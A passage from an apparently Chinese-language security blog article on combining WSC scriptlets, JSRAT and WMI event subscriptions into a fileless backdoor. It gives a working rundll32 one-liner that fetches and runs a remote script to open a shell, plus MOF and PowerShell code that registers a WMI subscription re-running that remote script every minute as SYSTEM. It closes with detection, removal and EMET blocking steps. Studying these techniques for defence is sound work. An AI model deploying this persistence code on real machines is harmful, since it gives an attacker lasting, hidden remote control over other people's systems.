0270-WSC、JSRAT and WMI Backdoor

“`

为区别演示，已上传至另一文件testJSRAT：
[https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT](https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT)

cmd下执行：

“`
rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT”)

“`

执行后弹回JSRAT的shell

3、分析
—-

这种方式有如下优点：
**a.**再次简化了JSRAT的启动代码，只需要执行GetObject()
**b.**由于是远程执行wsc文件，所以payload随时可以更改，代码可以随时升级

0x03 WMI Backdoor
=================

* * *

通过WMI不仅可以定时执行程序，还能定时执行脚本
定时执行程序的方法之前介绍过，此处跳过，下面介绍一下定时执行脚本的方法

WMI支持vbs和js脚本，这里只介绍启动js脚本的方法

1、mof
—–

注意转义字符
“用\”表示
内容如下：

“`
pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP1”;
Query = “Select * From __InstanceModificationEvent ”
“Where TargetInstance Isa \”Win32_LocalTime\” ”
“And TargetInstance.Second = 1”;
QueryLanguage = “WQL”;
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consP1”;
ScriptingEngine = “JScript”;
ScriptText = “GetObject(\”script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\”)”;
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

“`

演示略

2、powershell
————

注意转义字符
“用””表示
内容如下：

“`
$filterName = ‘filtP1’
$consumerName = ‘consP1’
$Command =”GetObject(“”script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test””)”

$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'”

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “root\subscription” -Arguments @{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace “root\subscription” -Arguments @{Name=$consumerName;ScriptingEngine=’JScript’;ScriptText=$Command}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

“`

演示略

3、检测
—-

“`
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

“`

4、清除
—-

“`
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter “Name=’filtP1′” | Remove-WmiObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’consP1′” | Remove-WmiObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%BotFilter82%'” | Remove-WmiObject -Verbose

“`

5、分析
—-

**a.**注册后每隔1分钟执行一次远程服务器上的js脚本
**b.**权限为system
**c.**payload可以随时更换
**d.**不写文件
**e.**不写注册表
**f.**自启动

0x04 防御
=======

* * *

1、第一道防线
——-

确保系统不被入侵。这个后门方法植入的前提是需要在系统上能够执行代码，所以建议勤打补丁、安装杀毒软件、防火墙

2、第二道防线
——-

建立白名单机制。启动Windows AppLocker，限制白名单以外的程序和脚本运行

3、第三道防线
——-

使用EMET（增强减灾体验工具）。配置规则可拦截并记录regsvr32和rundll32的使用 参考链接：
[https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique](https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique)

4、配置EMET拦截regsvr32示例：
———————

**1、下载安装EMET 5.5**

[https://www.microsoft.com/en-us/download/details.aspx?id=50766](https://www.microsoft.com/en-us/download/details.aspx?id=50766)

**2、配置EMET组策略模板**

**(a)**在`%ProgramFiles%\EMET 5.5\Deployment\Group Policy Files\`或`%ProgramFiles(x86)%\EMET 5.5\Deployment\Group Policy Files\`（64位系统）下找到：
EMET.admx
EMET.adml

如图


**(b)**将EMET.admx复制到`%SystemRoot%\PolicyDefinitions\`下

**(c)**将EMET.adml复制到`%SystemRoot%\PolicyDefinitions\zh-CN`下（英文版系统复制到`%SystemRoot%\PolicyDefinitions\en-us\`）

**3、配置EMET规则**

**(a)**输入gpedit.msc进入组策略 中文系统为：
计算机配置-管理模板-Windows组件-EMET

英文系统为：
`Computer Policy > Administrative Templates > Windows Components > EMET`

**(b)**双击Application Configuration
选择启用
点击显示

如图


**(c)**设置

值名称：`*\regsvr32.exe`
值：`+ASR asr_modules:scrobj.dll;scrrun.dll`

如图


**(d)**更新组策略模板

管理权权限的cmd下输入：

“`
gpupdate /force

“`

如图


**(e)**测试


通过regsvr32调用scrobj.dll的操作被拦截

0x05 小结
=======

* * *

本文将WSC、JSRAT和WMI Backdoor三项技术融合，在脚本层面实现了一个近乎“完美”的后门。

当然，本文的初衷是在这项技术被滥用前尽可能的帮助大家提前做好防御的准备。